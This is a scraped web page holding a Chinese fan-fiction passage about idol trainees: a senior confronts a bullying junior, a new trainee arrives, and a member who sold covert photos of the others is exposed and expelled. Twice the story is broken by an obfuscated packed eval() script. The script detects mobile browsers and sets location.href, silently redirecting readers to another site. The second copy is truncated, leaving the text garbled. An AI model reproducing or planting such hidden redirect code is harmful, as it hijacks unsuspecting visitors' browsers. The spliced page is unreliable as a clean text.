$(''#content'').append('' 一路沉默,来到走廊尽头一间堆放清洁工具的杂物间。 姜里树推门进去,张道允跟着走了进去。门在身后轻轻关上,隔绝了外面的声音。 “道允啊,这么做的原因,是因为我的拳头没有砸在你的脸上吗?” 姜里树开口的第一句话,就让张道允瞬间白了脸。 他知道“芥末饼干”那件事。那天他正好有演技课不在场,但后来也看到了播放量十几万的直播录屏——画面里,姜里树双拳砸在桌上,连带着桌子都发出骇人的闷响。当时还有粉丝逐帧分析,说那张铁桌好像真的被砸出了细微的凹陷。他当时心里还不以为然地嗤笑过,觉得这多半是夸张的作秀。 可现在,这个人就明明白白地站在他面前,头顶的灯光被他的身影遮挡住,那双平日里温和的绿眼睛,此刻沉静地看着他,里面没有任何表演的成分。 当那股被清晰压制、却依然让他脊背发凉的怒意,明确地转向他时,张道允才后知后觉地感到害怕。他真的会动手,也不害怕动手的代价。 “里树哥!对不起!” 张道允被这沉静却极具压迫感的目光逼得后退一步,脊背抵在了冰冷的门板上,几乎是本能地立刻示弱道歉。 “你不是对不起我。” 姜里树的声音逐渐大了起来,却字字清晰,“你是对不起那群真心叫你‘哥’的孩子们!你们可以是吵架,可以是打架,唯独不能是拿着前辈这个身份去压信任你的弟弟们!” 他顿了顿,目光落在张道允因为惊慌而微微发抖的手上,语气里透出一种深重的、几乎可以称之为失望的东西。 “你是我和胜澈带回来的孩子,是我们看着一点一点努力、长成今天这样的孩子……可你在做什么?是因为已经尝到了一点成名的甜头,就觉得自己能俯瞰所有人了吗?……” “…那按照这个道理,只要是站得比你更高的人,是不是也可以理所当然地,把你当作垫脚石?”姜里树平缓出口的话更让张道允感到刺骨的冰凉。 “米亚内……” “……回去吧。”姜里树移开目光,声音里那点沉重的失望像潮水般退去,只剩下清晰的平静。 “去和孩子们好好道歉。我不希望再有下一次。” 张道允低着头,喉咙发紧,涩然地应了一声。 “……内。” 姜里树站在原地,目送着张道允低头拉开杂物间的门,脚步有些虚浮地离开。两分钟后,他拿出口袋里正在显示录音中的手机,摁下结束录音。 崔胜澈病愈回到练习室时,迎接他的是练习室有些反常的低气压。 他在医院的两天里,唯独没收到张道允任何关心的消息。此刻环顾四周,也确实没看见对方的身影。他自然不知道,那天张道允在练习室里郑重地向所有孩子道歉后,就很久没有再来过练习室,宿舍里更是见不到人。 如果不是姜里树偶尔发给他的消息里,会附带一两句关于“道允最近被导演挑中演戏去了”、“道允状态还好”之类的简短说明,崔胜澈几乎要以为,那个曾被他亲自带回来相处了很久的孩子,已经悄无声息地离开了公司。 “胜澈?你自己出院了?不是说好了,等我下午来接你的吗?”姜里树的声音从崔胜澈背后响起,带着一丝意外和淡淡的责备,剩下的全是关切。 “哎一古,我又不是什么玻璃做的。”崔胜澈转过身,脸上带着“这有什么大不了”的笑容,语气轻松地反驳道。 “这不是自己也能好好走回来嘛,而且……” 崔胜澈脸上的笑容淡了些,眉头微微蹙起,目光落在姜里树脸上,声音也低了下来。 “比起我这个已经病愈的人,你看起来……状态反而更不好,发生什么事了吗?” “没什么事,只是今天考核的时候,被导师批评了。” 姜里树苦笑了一下,语气轻描淡写,却掩不住那份疲惫。 “哇——这可真是稀奇事。” 崔胜澈睁大了眼睛,满脸的不可置信,“是新来的导师吗?这么严格?” “不,还是之前的老师。” 姜里树摇摇头。他当时脑子里思绪纷杂,脚下跳错了一个节拍,让一向对他寄予厚望的导师失望不已,被结结实实地训了一通,说是狗血喷头也不为过。 “你没事吧?” 崔胜澈立刻走到姜里树身边,担忧地看着他,同时伸出手,用手背自然地贴了贴他的额头和脖子,试探温度。 “没事……别摸了。” 姜里树被他摸得有点痒,偏头躲了躲,声音里带着点无奈的笑意,“我没发烧,就是有点累。” “好吧……” 崔胜澈收回手,应了一声,但目光依旧停留在姜里树脸上。那副将疲惫藏在平静下的样子,让他心里那份“这家伙肯定还有事瞒着我”的念头,变得愈发清晰。 相处了将近四年的时光,他还不懂姜里树有没有掩藏什么吗。那些细微的沉默、一闪而过的蹙眉、比平时更用力抿紧的嘴角……都太熟悉了。 “真的没事吗?孩子们也没事?” “……没事。”姜里树摇摇头。 13. 13.‘伴生\’ 姜里树把头发剪了,没烫没染只是剪成了层次感丰富的中长发。 头顶的发丝轻盈蓬松,发色是柔和的浅金色,在光线下泛着通透的光泽,发尾还带着一点点自然的绿调晕染,和他的眼眸颜色相呼应。刘海部分微垂,恰好遮住额头,几缕碎发落在眉眼间,增添了慵懒的氛围感。 两侧的头发长度及颈,发尾自然内收,和头顶的蓬松感形成对比,既保留了少年的清爽感,又带着一丝柔和的中性气质,衬得青年的面容更加雌雄莫辨。 崔胜澈看着姜里树此刻的模样,忽然有些发愣,好像回到了他们第一次见面的时候,也是在这样的光线里,那个少年顶着一头浅金色的发,一双翠绿的眼睛看过来,嘴角弯着一点似笑非笑的弧度,带着一种温和却又难以接近的疏离感。 就和现在一样。 “里树?” 崔胜澈的声音有点发涩,眼神复杂地看着他。 “嗯?” 姜里树站在看到他新造型发出连连感慨的孩子堆中间听到崔胜澈叫他歪着头看着他。 崔胜澈感觉后脖颈微微发紧,说实话,姜里树现在这副样子,他不太想让别人看见。 如果说,长发的姜里树是隐匿于晨雾与光影之间的密林精灵,疏离而神秘;那么,将长发尽数剪去、露出清晰五官轮廓的姜里树,便是从童话扉页中径直走出的王子,不是故事里那种等待拯救的模板,而是本身就带着光芒与力量的模样。 崔胜澈看着他,真心觉得,这位王子,可比任何故事书里描绘的公主,都要好看多了。 甚至,在李知勋最早来到练习室的时候,姜里树的头发就已经很长了,长到可以用发圈,松松地将那头浅金色的长发,全部束在脑后的程度。 所以说,姜里树中长发的模样,在所有现役的练习生里,真的就只有崔胜澈一个人见过。 那是在更早的、队伍还未成形、连“Seventeen”这个名字都还未被提起的日子里,属于他们两人之间,一段不足为外人道的、被妥善收藏的厚重时光。 那时候,公司也明确找过姜里树,让他留下长头发。应公司要求,姜里树留了长头发,却也总是会忘带头绳,每天总是同出同行的崔胜澈成了他唯一的“备忘录”。 练舞的时候头发总是挡到脸,姜里树犟起来就会直接抽卫衣帽子的绳子用来绑头发,没穿卫衣的话,绳子就抽崔胜澈卫衣帽子上的绳子,久而久之崔胜澈会在手腕上带上一个素色纯黑色头绳当做备用,哪怕他们不在同一个练习室。 这个习惯一直到了今天,直到今天之前。 “公司不是不让你剪头发吗?” 崔胜澈从恍惚的记忆里抽身,看向身边的姜里树,问出了从刚才起就有的疑惑。 “和公司说过了。” 姜里树抬手撩了一下耳侧清爽的发丝,语气平淡,“长发真的很碍事。最近事情多,让心情也不太好,根本没精力打理。” 他顿了顿,嘴角勾起一点没什么笑意的弧度。 “我和金代理说,如果不同意我剪头发,我就披头散发,半夜在公司楼道里乱晃。不管是不是金代理,谁都不会想大半夜看到一个因为穿着黑色衣服而让人看起来是悬空着的披头散发的金色脑袋的。” “噗哈哈哈哈…”崔胜澈听到这话心里那点微妙的感觉瞬间被冲散,整个人突然从姜里树面前消失,趴在地上爆笑捶地。孩子们也跟着哥笑得东倒西歪的。 被经纪人带领着踏进练习室的尹净汉,看到的第一个场景,便是众人围着一个金发的背影,靠着他的腿或坐或躺,笑闹成一团,空气里充盈着毫无阴霾的、纯粹的欢快。 这过分好的氛围,让他原本略感紧张的心,也跟着那笑声悄然放松了下来。 最先发现他的,是一个笑起来像小仓鼠般可爱的少年。对方在看清他脸的瞬间,像被猛地掐住了喉咙,笑声戛然而止,随即尖叫着跳起来,手忙脚乱地想去捂那个听见开门声音而转身的金发青年的眼睛。 嘴里大声叫着。 “hiong!别看!是你的分身!看了会死的!!!!!” 权顺荣那声陡然拔高的尖叫,几乎紧贴着被他从背后挂在身上的姜里树的耳朵边炸开。 那一刹那,姜里树只觉得耳膜一刺,尖锐的耳鸣声“嗡——”地席卷而来,盖过了周遭所有的喧闹。 “呀!权顺荣!别在你里树哥的耳朵边大叫啊!!” 躺在地上爆笑的崔胜澈也被这变故惊得跳了起来,声音比权顺荣还响。他一个箭步冲过去,伸手就去拽跟个像八爪鱼一样死死缠在姜里树身上的权顺荣。 “你不知道他耳朵有多灵敏吗!!!” “可是胜澈哥!里树哥的分身出现在门口了!!他看到了会死的!!!” 权顺荣死死闭着眼睛,抱着姜里树,勒得更紧了,声音里充满了“世界末日”般的绝望,仿佛在捍卫什么至关重要的东西。 “我不要我哥死啊!!!” “呀!你们谁最近又给他看什么奇奇怪怪的东西了?!快来帮忙把他拽下来啊!!” 崔胜澈一边用胳膊锁住权顺荣的脖子使劲往外扯,一边朝周围已经笑作一团、看热闹不嫌事大的孩子们吼道。 “里树快被他勒窒息了!!!” 第一个上去帮忙的是Samuel,小不点抓着他澈哩哥的衣角努力帮忙拽着;第二个是李知勋,他从权顺荣和崔胜澈中间挤进去抱着权顺荣的腰拽着;第三个是全圆佑和金珉奎两个神色略带心虚的一左一右从前面拽着姜里树的左右手,文俊辉在旁边抓耳挠腮的想了一下准备去挠权顺荣痒痒肉,夫胜宽和李硕珉对着摄像头胳膊挽着胳膊综艺之神上身解说着现场情况,洪知秀和崔瀚率带着李灿三个人一脸紧张的准备随时加入进去,准备将场面升级成“拔萝卜”,毕竟他们里树哥从来不和他们一起玩拔萝卜。 终于,权顺荣在体力耗尽和文俊辉的“痒痒攻击”双重夹击下,哇哇叫着松开了手。 谁也没料到他会在这个节骨眼上突然卸力。 所有人正使着反方向的劲,这股力道一消失,顿时像多米诺骨牌一样,惊呼着全顺着惯性向后倒去,滚作一团。 混乱中,文俊辉眼疾手快,一把将小小的Samuel从崔胜澈背后拽了出来,才没让小家伙被倒下来的、比他壮硕两个型号的胜澈哥给压住。 因为刚才被勒得缺氧,姜里树本身就有点站不稳,结果抓着他不放的圆佑和珉奎在向后倒的瞬间也下意识松了手。 于是,在所有人伸长手臂、瞪大眼睛的惊呼声中,姜里树整个人就像被弹弓发射出去一样,不受控制地向前扑去… 然后,稳稳地正面倒进了一个不知何时站在他面前、恰好接住了他的、温暖的怀里。 “米亚内啊,孩子们太闹腾了,让你见笑了…” 姜里树眼前还有些窒息后的发黑,他半跪在地的靠在尹净汉怀里,喘了口气,才顺着对方伸来的手臂,慢慢直起身。 “没事的,这样很好。” 尹净汉扶着他的手臂,声音很轻,带着温和的笑意。 “练习室的气氛……非常棒。” 他脸上的笑容很浅,让姜里树莫名想到了某种毛茸茸的、无害的小动物。可下一秒,他又隐约觉得,那或许只是对方愿意展露的一层表象。 暂定为…温柔的兔子。 姜里树对尹净汉的第一印象,就这么定了下来。 这和第一次见崔胜澈时,那种全凭本能的、近乎野性的直觉不同;也和其他孩子们初遇时,那种保护欲或责任感先行的感觉不一样。 尹净汉给他的感觉更……复杂。像一池表面平静、映着天光云影的湖水,初看温润澄澈,却让人不太确定水下的深度与流向。 难怪权顺荣看到尹净汉的第一眼,会惊叫着喊出“分身”。 姜里树不知道尹净汉是否也有类似的感觉,又或者只是自己太过冒昧。但他很确定一点:他很喜欢尹净汉。不是通俗意义上的喜欢。 “分身吗?” 尹净汉扶稳姜里树,待他站直后,扶着他手臂的手并未松开,反而另一只手也轻轻搂住了他的腰,以一种近乎保护的姿态,将他半揽在身侧。他就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205953|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样看着眼前闹哄哄的一群少年,脸上依然挂着那副温柔的浅笑。 “米亚内,” 姜里树侧过头,低声向他解释,目光里带着点确认的观察,“顺荣这孩子最近在看动漫,他没有不好的意思。” 在确认尹净汉眼中并无怒意,反而带着一丝了然的笑意后,他才暗暗松了口气。毕竟,“分身”或“半身”这种称呼,并非人人都能接受这种玩笑,甚至可能被视为一种冒犯。 “比起‘分身’……” 尹净汉的目光缓缓扫过陆续站起身、表情各异的众人,将那几个神色微变的成员,都轻轻收进了眼底,尤其是那个。 他停顿了一下,声音不大,却清晰地落在每个人耳中:“我更喜欢‘伴生’这个说法。” 说完,尹净汉一脸无辜地抬起头,迎上身边这位前辈望向他的目光。那双绿松石般的眼睛正看着他,瞳孔里清晰地映出他的影子。 真是一双……漂亮得想让人私藏起来的眼睛啊。 他心想。 “咳!” 带着尹净汉前来的金允真经纪人,敏锐地察觉到了空气中那丝越来越微妙、近乎凝固的气氛,立刻清了清嗓子,适时地出声打断了这片安静。 她扬起声音,带着惯有的爽利,将所有人的注意力拉了回来:“好啦,新来的孩子,趁大家都在,先和大家做个自我介绍吧!” “内~各位前辈好,我是新来的尹净汉,请大家多多指教哦。”小兔子又变回了乖巧和柔软的样子。 “你好,净汉,我是练习室里的大哥,来自重国的姜里树,欢迎你的到来。”姜里树转过身正式面向尹净汉。 “前辈居然是大哥吗?”尹净汉眨了眨眼,语气里带着恰到好处的惊讶和一丝若有若无的其他思绪。 “内,” 姜里树点了点头,语气温和而清晰,“1995年5月5日生,也是目前练习室里练习时间最长的人。” “你好啊净汉,我是崔胜澈。” 崔胜澈的声音适时地插了进来,带着他特有的爽朗笑意,朝尹净汉伸出手。 “是这间练习室里,练习时长排在第二的人。”他言简意赅地介绍完自己,显然是不想再让这场“大哥论”无限延伸下去。不然,剩下的孩子们,怕是一天也介绍不完了,绝对没有私心。 “你好呀,胜澈前辈。” 尹净汉神色自然地与崔胜澈握了手,脸上依旧是那副柔和得体的笑容,礼貌中带着几分恰到好处的亲近感。 两位大哥做完介绍后,其他孩子也收敛了玩闹,纷纷热情围拢过来。权顺荣更是把刚才那点不好意思全化成了热情,眼睛亮晶晶地凑到最前面,声音清脆又响亮:“净汉你好!我是权顺荣,96年的!刚刚对不起啦!” 他抓了抓头发,笑容灿烂得毫无阴霾,“不过你给我的感觉真的和我们里树哥好像!以后请多多指教啦!” 那股小老虎般的热力,瞬间冲淡了所有因初识而产生的生分感。 “请多多指教哦,顺荣前辈~” 尹净汉微微歪头,用上了那个带着调侃意味的敬称,语气轻松又带着点玩笑。 这话一出,孩子们瞬间又笑作一团,亲昵地围在了尹净汉身边。因为大家都清楚,权顺荣这个哥哥,根本不在乎什么刻板的前后辈规矩。只要在他带领大家训练时拿出十二分的认真,平时,他就是最好说话、也最爱和大家闹成一团,更是最好欺负的那个哥。 “咳。” 崔胜澈趁着所有孩子都围着尹净汉说笑的时候,悄无声儿地挪到了姜里树身边,伸出了手。 “把你手腕上那个头绳给我。” “你要头绳干什么?” 姜里树一边问,一边还是下意识地取下那根黑色的发圈,递了过去。 “备着。” 崔胜澈接过头绳,利落地套在自己手腕上,语气理所当然,“以防你哪天又突然跑来抽我卫衣帽子上的绳子。” “……真的假的?” 姜里树看着他手腕上那抹熟悉的黑色,有点哭笑不得,现在就备着? 崔胜澈没说话,只是挑挑眉,给了他一个“你说呢”的眼神。 14. 14.动荡 2013年的年底,是一个在公司动荡中逐渐成型的时期。 SVT练习室里的人数增增减减,最终像潮水退去后留在沙滩上的贝壳,定格在了“16”这个数字上。 队伍训练被公司反复地分组、打散、再重组,像一种冷酷的锤炼,磨着每个少年的心性与默契。 练习室的直播时间也越拉越长,镜头无声地记录下一切,汗水与泪水混在一起,砸在早就被鞋底打磨包浆的地板上洇开,在蒸发前又被谁的鞋底踩碎。 眼看着这一年又要匆匆滑向尾声,而“出道”二字却依然像高悬在远方的海市蜃楼,清晰可见,又遥不可及。这份等待的焦灼,像无声的藤蔓,悄然缠上了每个孩子的心。 连一向最沉稳的姜里树,呼吸的节奏里,也染上了一丝不易察觉的疲惫和焦躁不安。 训练日程变得日益严苛。让一向最让导师放心的姜里树和崔胜澈,也时不时会因细节的不足而被严厉指正。 其他孩子们所承受的压力,便可想而知。有时,心理防线已被压到极限的孩子,会在被指出错误的瞬间,当场就红了眼眶,甚至无声地掉下泪来。 每个人的压力阈值,都在这种高压下被一压再压,逼近最低线。 于是,姜里树和崔胜澈商量着,开始带孩子们“出逃”。去打篮球,去附近的公园骑双人自行车。不想玩闹的孩子,就坐在一边的草地上,分吃着小摊上买来的烤串,漫无边际地聊天。 偶尔,等安抚好所有弟弟、确保他们安全回到宿舍后,姜里树和崔胜澈便会带上同样是95年出生的尹净汉和洪知秀,四个年纪相仿的哥哥,偷偷溜出去,找家安静的小店喝点酒,或在深夜的街道上漫无目的地散步。 这种时候,大多是酒精上头的崔胜澈在姜里树背上手舞足蹈地主导话题,尹净汉则挽着洪知秀的胳膊,时不时和他一唱一和。姜里树就背着崔胜澈安静地走在他们身边,听着,偶尔插一两句话。 晚风吹过,带着一点酒精带来的微醺和松弛。姜里树觉得,这样就很好很放松,因为他总不会是一个人的。 回到宿舍后,四个人蹑手蹑脚地穿过客厅,回到自己的床铺去。宿舍的格局,因为尹净汉的到来和一些调整,又有了新的变化。 自从崔胜澈生病那两天起,李灿总是不停做噩梦。姜里树便干脆让他跟着他胜澈哥睡去了,好有个照应。 全圆佑最近带着崔瀚率打游戏解压,姜里树也默许了。为了不打扰别人,两个孩子去和洪知秀、夫胜宽商量,互换了床位。 于是,新的安排成了:刚来的尹净汉,被安排到了除姜里树、崔胜澈外资历最长的李知勋的对床,也就是原来李灿的位置。洪知秀和夫胜宽搬到了全圆佑和崔瀚率的床位上。Samuel不习惯身边没有哥哥陪着,干脆抱着枕头挤到了搬到张道允他们房间的姜里树身边。哥哥修长的手臂环着他,让他觉得格外安稳。 夜深了,少年们在各自新的、或临时、或永久的安稳被窝里,沉入睡眠。 自从搬到张道允他们宿舍后,姜里树总觉得,之前那种若隐若现的窥视感,变得更强烈了。 一开始,他以为是因上次事件后、与自己明显疏远了许多的张道允投来的视线。可后来他发觉,即使张道允不在,那道黏腻的、让他生理性不适的视线,依旧存在。 在一次浅眠中、因这视线而猛然惊醒的夜晚后,姜里树第二天就让Samuel搬去和文俊辉睡了。他自己则依旧留在三号宿舍里。 同寝的姚明明是个喜欢把脑袋、手脚都严严实实裹进被子里的睡法,一点皮肤都不露出来。姜里树最初的理解是,毕竟他自己也是从小被老父亲的“被子鬼故事”吓大的,知道那种想把整个人藏起来的本能的安全感。 他私下单独问过同寝的姚明明。 “明明,你有没有觉得……我们这间宿舍,有哪里不太对劲的地方?” 姚明明摇了摇头,否定了。他想了想,又补充道:“一直都好好的。只是……最近有时候,会突然觉得很不舒服。我以为只是练习太累,就没多想。因为次数不频繁,也就没在意。” 他顿了顿,声音低了一些:“但这两天,不舒服的感觉多了起来……我正准备和哥你说一下的。” 现在看来,并不是了。 在某天寂静的深夜里,姜里树无声地睁开眼,目光向上,望向自己的上铺。那张床上,睡着名叫申东真的孩子。 他现在还不太明白的是:如果只是好奇或观察,为什么不是光明正大地看,而是选择在角落里……窥视? 那个平时安静、偶尔也会跟着大家笑闹的少年,最近开始变得有些不同。 申东真格外喜欢抱着手机,一个人待在角落。不是给自己自拍,就是抓拍其他成员的瞬间,然后又低头沉浸在自己的屏幕里,与周遭的热闹隔着一层无形的壁垒。 姜里树带着这些疑虑,开始不动声色地观察申东真。他注意到一些奇怪的细节,申东真会突然多出一些当季的、价格不菲的奢侈品。这些姜里树就算暂时买不起这些奢侈品,无聊的时候他也会去看看,遇上喜欢的就收藏下来等以后有多余的能力了再购入,所以申东真身上的东西他是清清楚楚的知道是什么品牌是什么价格,那不是他们现在的财力能够购入的东西,更何况他奢侈品更换的越来越快… 姜里树找了个机会,用闲聊的语气,隐晦地向申东真打听:“最近买了不少好东西啊东真,家里有喜事?” 申东真的目光闪躲了一下,含糊地应道:“嗯…家里最近宽裕了些,多给了点生活费。” 随即,语气里带上了一丝不易察觉的抵触,“这些……哥也管不着吧?” 姜里树没再追问,笑了笑便带过了话题。打草惊蛇后,那道窥视的视线确实老实了几天。 但很快,它又回来了。 他屡屡看向成员们的次数,尤其是那些人气渐高、或外貌格外突出的孩子时,眼神里会闪过一种越来越不加掩饰的贪婪。 更让姜里树警觉的是,每当申东真拿出手机,镜头就会有意无意地对准其他换衣服的成员时,姜里树会“恰好”走过去,或用身体挡住,或自然地引开话题。 直到这样的次数越来越多,他阻挡的动作也越来越频繁。 申东真的脸上,开始浮现出清晰的焦急,甚至是一丝被屡屡打断的恼怒。 姜里树心里的疑问越来越重,他到底在急切什么?这些偷拍,以及那些来路不明的物品,究竟是怎么来的? 谁也没想到这件事情的原尾会那么快的出现在他的面前。 那天晚上,大家一如往常拖着满身疲惫回到宿舍。孩子们三三两两结伴去浴室洗漱,申东真也把手机往枕头边一放,就跟着去了。 姜里树正躺在自己床上,看着笔记本电脑里查看股票的浮动。这时,一阵持续的震动声从他头顶的上铺传来。 嗡嗡……停了。几秒后,又嗡嗡响起。如此反复了两三次。 姜里树起初没理会,以为是普通消息。但振动固执地响个不停,不接就誓不罢休,在安静的宿舍里格外突兀。他担心是申东真家里有急事,犹豫了一下,最终还是撑起身,伸手拿过了那部还在震动的手机。 接通电话。 “欧巴什么时候再发来胜澈欧巴的照片啊!我已经准备好钱了!” 听筒里传来的,是一个陌生、甜腻又急切的年轻女声。这句话像一把冰锥,猝不及防地捅穿了姜里树的耳膜,将他整个人钉死在了原地。 那一刻,他感觉血液仿佛瞬间冻结。他没有发出任何声音,连呼吸都停滞了。直到对方或许是误以为信号中断,“嘟”的一声挂断了电话,姜里树依然维持着那个姿势,一动不动地僵在昏暗中。 他不知道自己是带着什么样的表情,又是怎么重新回到床上的。 他只知道,等意识重新接管身体时,自己的手指已经冰凉而熟练地操作着电脑,通过数据线,一键拷贝了申东真手机里的全部信息。 然后,他冷静地拔掉线,将手机屏幕指纹擦干净,一丝不差地放回了原来的位置。 做完这一切,他才感觉到心脏在胸腔里开始缓慢而沉重地撞击,一声,又一声。 拷贝完成,搜索开始了。关键词并不需要多复杂,“照片”、“交易”“成员的姓名”……海量的聊天记录和加密相册在简单的筛选下迅速坍缩。他点开那些缩略图,成员们毫无防备的睡颜、练习后汗湿的脖颈,互动时露出的腰部,图片最近一次更新甚至是姜里树刚搬到这间屋里更换睡衣赤裸着上半身模糊的身影,像一记记闷拳,接连砸在他的视线里。 出奇的简单,绝对的恶心。所有肮脏的交易、贪婪的窥视、对孩子们隐私最无耻的践踏,就这样赤裸地摊开在他眼前,连一点像样的遮掩都没有。 姜里树盯着屏幕,指尖冰凉。原来寻找真相的过程可以如此“简单”,简单到让他感到一阵反胃。 如果……如果这些照片和交易记录暴露在公众面前,如果有人抓住“私收粉丝贵重礼物”这一点去举报,那么这些孩子的前途,就全毁了。到那时,谁会相信他们是清白的? 这些孩子们要怎么办? 他们撑过了每周导师不留情面的训斥。撑过了因尚未出道就做直播而收到的无数嘲讽与谩骂。撑过了工作人员私自克扣生活费时,只能咬紧牙关的委屈。撑过了来自同行或明或暗的排挤与歧视。就连现在,也一同撑过了公司将出道企划案一拖再拖的绝望… 他们撑过了那么多崎岖坎坷,眼看就要触到梦的边界…… 现在,难道要倒在这样肮脏、荒唐、由内而外的背叛之下吗? 不行!必须想办法在事情闹大前解决掉这件事。 砰!———— 姜里树一拳砸在洗手间的瓷砖上,闷响在狭小空间里炸开。他撑在洗手台边,盯着镜子里那个眼眶发红、头发乱糟糟的自己。 ‘该怎么解决……啊西,真是烦死了!’ 声音压得很低,是从牙缝里挤出来的。他胡乱地揉着自己的头发,把一头浅金揉得东倒西歪,像暴风雨后的稻草窝。 ‘这东西……是训练太少了吗?!是日子过得太舒服了吗?!’ 他咬着后槽牙,每个字都浸着怒火和一种更深的东西,一种被信赖的人从背后捅刀子的冰凉的恶心。他想起那孩子平时安静的笑脸,想起他也曾给感冒的弟弟递过药。那些画面和手机里明码标价的交易记录混在一起,让他胃里一阵翻搅。 但发泄只有这几秒。 他猛地拧开水龙头,冰凉的水扑在脸上。再抬起头时,镜子里那双绿眼睛里的暴躁被强行压了下去,只剩下深不见底的疲惫和一种近乎冰冷的清明。 他知道答案了。训练多少根本不是问题。是心坏了。 而他,没时间也没义务去修一颗坏掉的心。他得当个外科医生,在感染扩散前,把这块烂肉剜掉。 他只能再委屈姚明明将就一晚上了。 姜里树用毛巾胡乱擦干身上的水渍,把毛巾挂回原处,深吸一口气,拧开了门把手。 卧室里一片昏暗,只有申东真床铺的方向,传来一点极其微弱的、被刻意压低的手机屏幕光亮,还有极其轻微的、布料摩擦的窸窣声。他脚步顿了顿,然后像什么都没察觉一样,平静地走回自己的床位躺下。他面朝申东真的方向,闭上了眼。 但他的耳朵和全身的神经,都在黑暗里彻底绷紧了,像一张拉满的弓,无声地瞄准着上铺的每一丝动静。他得看着。今晚,他必须醒着。 第二天,练习室。 门被敲响,一个面孔陌生的staff探头进来,声音平淡:“申东真、姜里树、崔胜澈,三位请出来一下,金代理找。” 瞬间,所有练习的音乐和动作都停了。孩子们面面相觑,目光好奇地追随着哥哥们,尤其是申东真有些发白的脸,直到他们消失在门外,练习室的音乐再次响了起来。 一进门,迎面就是金代理压抑着怒火的低气压。 他甚至没给三人开口的机会,抓起手边一叠文件,猛地一把摔向了申东真。纸张哗啦散开,有几张锋利的边角朝崔胜澈的方向飞去。 姜里树脚步一错,瞬间挡在了崔胜澈身前,抬手将飞来的纸张格开。同时,他背在身后的手,无声而用力地按住了崔胜澈下意识想要上前帮助弟弟的手臂。 背后的崔胜澈动作一滞,抬头看向姜里树绷紧的后背轮廓,停了动作,沉默地站在了原地。 “自己看看这是什么东西!?我是该庆幸这件事还没有闹大吗!”金代理的声音因极力压抑而嘶哑,他猛地站起身,手掌“砰”一声重重砸在桌面上,震得笔筒都跳了一下。 “代、代理……”申东真脸色惨白,哆嗦着弯腰去捡散落一地的纸张。手指刚碰到纸面,就像被上面的文字烫到一样缩了一下。 那些纸上,分门别类、按时间线排列得清清楚楚:是他在哪个社交软件上、几点几分、和谁的对话记录;是他发出的每一条索要信息的短信截图;是每一笔转账的金额、时间和对方模糊处理的账号尾号…… 每一笔,都记录在案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大哥?”他慢条斯理地重复着这两个字,尾音拖得有些长,带着说不出的嘲讽,“你居然还知道我是大哥啊,我还以为你被那些金钱迷了心窍,早就把这两个字忘到九霄云外去了呢。” 他上前一步,居高临下地看着脸色煞白的申东真,字字句句都像淬了冰:“是啊,我是大哥,可我不是你一个人的大哥!” 最后一个字落下的瞬间,姜里树攥紧拳头,猛地挥向申东真的侧脸。 “砰”的一声闷响,申东真闷哼一声,嘴角当即破开一个口子,鼻血也瞬间涌了出来。他整个人被这股狠戾的力道掀得踉跄后退,最终重重摔倒在地,狼狈不堪,惊恐的抬头看着动手的姜里树。 “崔胜澈!还不赶快拦住他!!” 金代理的吼声几乎在姜里树挥拳的同一秒炸响,这就是他把崔胜澈也叫来的原因。他太清楚姜里树对这群孩子护短的性子了,被触到底线时,会爆发出何等骇人的冷静和暴力。 站在一旁的崔胜澈,听完所有对话,早就攥紧了拳头,指节捏得发白。他只想冲上去,和姜里树一起,把地上那个混账揍到爬不起来。 但他不能。 他死死咬着后槽牙,在金代理第二声怒吼炸开前,一个箭步冲上去,挡在姜里树的前胸,紧紧箍住了姜里树还要再次扬起的胳膊。 “里树!够了!” 他的声音压得很低,带着强忍的颤抖,贴在姜里树耳边,“孩子们……孩子们还在练习室等着。” “……是啊。” 姜里树被崔胜澈死死箍住的胳膊停在半空中,肌肉紧绷得像铁。他侧过头,目光越过崔胜澈的肩膀,落在地上面如死灰的申东真脸上,声音轻得几乎像叹息,却又淬着剧毒:“如果不是因为那群孩子……就算拼着同归于尽,我也一定会把你,亲手推进地狱里去。” “不要为他……搭上你自己。” 崔胜澈这句话几乎是贴着姜里树的耳根,用带着哽咽的气音挤出来的。他环住姜里树的手臂收得更紧,像怕一松手对方就会真的消失。 “不然孩子们怎么办……我要怎么办?” 他的声音抖得厉害,每个字都砸在姜里树的心口上,“你……要丢下我吗?” 这句话像一根针,精准地刺破了姜里树周身狂暴的戾气。 他绷紧的肩膀骤然一松,所有力气仿佛瞬间被抽空。他收回停在半空的手,然后伸手将身前的崔胜澈紧紧揽进怀里,用身体和手臂,将他严严实实地护住。 他把脸埋在崔胜澈的颈窝,疲惫地、深深地吸了一口气。 他说:“不会的,不会丢下你的,也不会丢下孩子们。” 空气一时安静得可怕。 只剩下崔胜澈压抑的、断断续续的抽噎声,在姜里树的怀抱里闷闷地响着。 还有地上,申东真那不成调的、混合着疼痛和绝望的哭声。 “里树啊……” 金代理的声音响起来,嘶哑又疲惫,像瞬间苍老了十岁。他坐回办公桌后,用手重重地抹了把脸。 “带着胜澈先回去吧。这件事……” 他顿了顿,声音低了下去,“公司会处理干净的。也会……给信任你们的粉丝,一个交代。”他朝两人无力地挥了挥手,仿佛连说话的力气都耗尽了。 “回去好好安抚孩子们吧。” 姜里树侧过头,对金代理极轻地点了下头,半抱着崔胜澈跨过地上那个人准备离开。离开前他的脚步停了停,没有回头,声音平静地落下,他说:“申东真,你不会真的想知道动了Seventeen孩子们的代价的,我也是真的有送你去地狱的能力的。” 韩国PLEDIS Entertainment公司发布官方通告 《关于与练习生申东真解除专属合约的官方通告》 本公司在此郑重宣布,经内部严肃调查并确认,练习生申东真(Shin 